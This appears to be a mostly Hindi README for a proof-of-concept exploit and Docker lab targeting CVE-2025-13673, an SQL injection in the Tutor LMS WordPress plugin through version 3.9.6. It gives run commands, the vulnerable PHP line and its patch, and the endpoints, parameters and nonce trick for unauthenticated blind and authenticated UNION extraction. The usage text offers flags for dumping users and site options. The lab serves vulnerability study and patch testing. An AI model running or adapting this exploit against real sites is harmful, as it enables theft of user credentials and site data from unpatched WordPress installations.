
CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker लैब
Tutor LMS WordPress प्लगइन (<= 3.9.6) में coupon_code पैरामीटर के माध्यम से अप्रमाणित SQL इंजेक्शन।
# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # Deploys WordPress + Tutor LMS 3.9.3
# 2. Run the exploit
pip install requests # only dependency
# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080
# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| फ़ील्ड | मान |
|---|
| CVE | CVE-2025-13673 |
| प्रभावित | Tutor LMS <= 3.9.6 |
| फिक्स्ड | 3.9.7 |
| प्रकार | SQL इंजेक्शन (CWE-89) |
| CVSS | 7.5 / 9.3 |
| प्रमाणीकरण | कोई नहीं (ब्लाइंड) / सब्सक्राइबर (UNION) |
QueryHelper::prepare_where_clause() कच्चे स्ट्रिंग संयोजन के साथ SQL WHERE क्लॉज़ बनाता है:
// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
कोई एस्केपिंग नहीं है। एक सिंगल कोट लिटरल से बाहर निकलकर मनमाना SQL चलाने की अनुमति देता है।
अप्रमाणित: POST / के साथ tutor_action=tutor_pay_now। WordPress का init हुक इसे सभी आगंतुकों के लिए डिस्पैच करता है। _tutor_nonce हर फ्रंटएंड पेज में एम्बेडेड होता है और अनाम सत्रों के लिए मान्य रहता है। डेटा निष्कर्षण SLEEP() के माध्यम से।
सब्सक्राइबर+: POST /wp-admin/admin-ajax.php के साथ action=tutor_apply_coupon। इंजेक्टेड UNION SELECT डेटा के साथ JSON लौटाता है — तत्काल निष्कर्षण के लिए प्रतिक्रिया में दो कॉलम प्रतिबिंबित होते हैं।
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
Modes:
Default (no -u/-p): Unauthenticated time-based blind SQLi
With -u/-p: Authenticated UNION-based (fast)
Examples:
exploit.py http://target # unauth blind
exploit.py http://target -u student -p pass --all # auth UNION
# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5
# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7
| फ़ाइल | विवरण |
|---|---|
exploit.py | दोहरी-मोड PoC: बिना प्रमाणीकरण ब्लाइंड + प्रमाणित UNION |
setup.sh | एक-कमांड लैब परिनियोजन |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।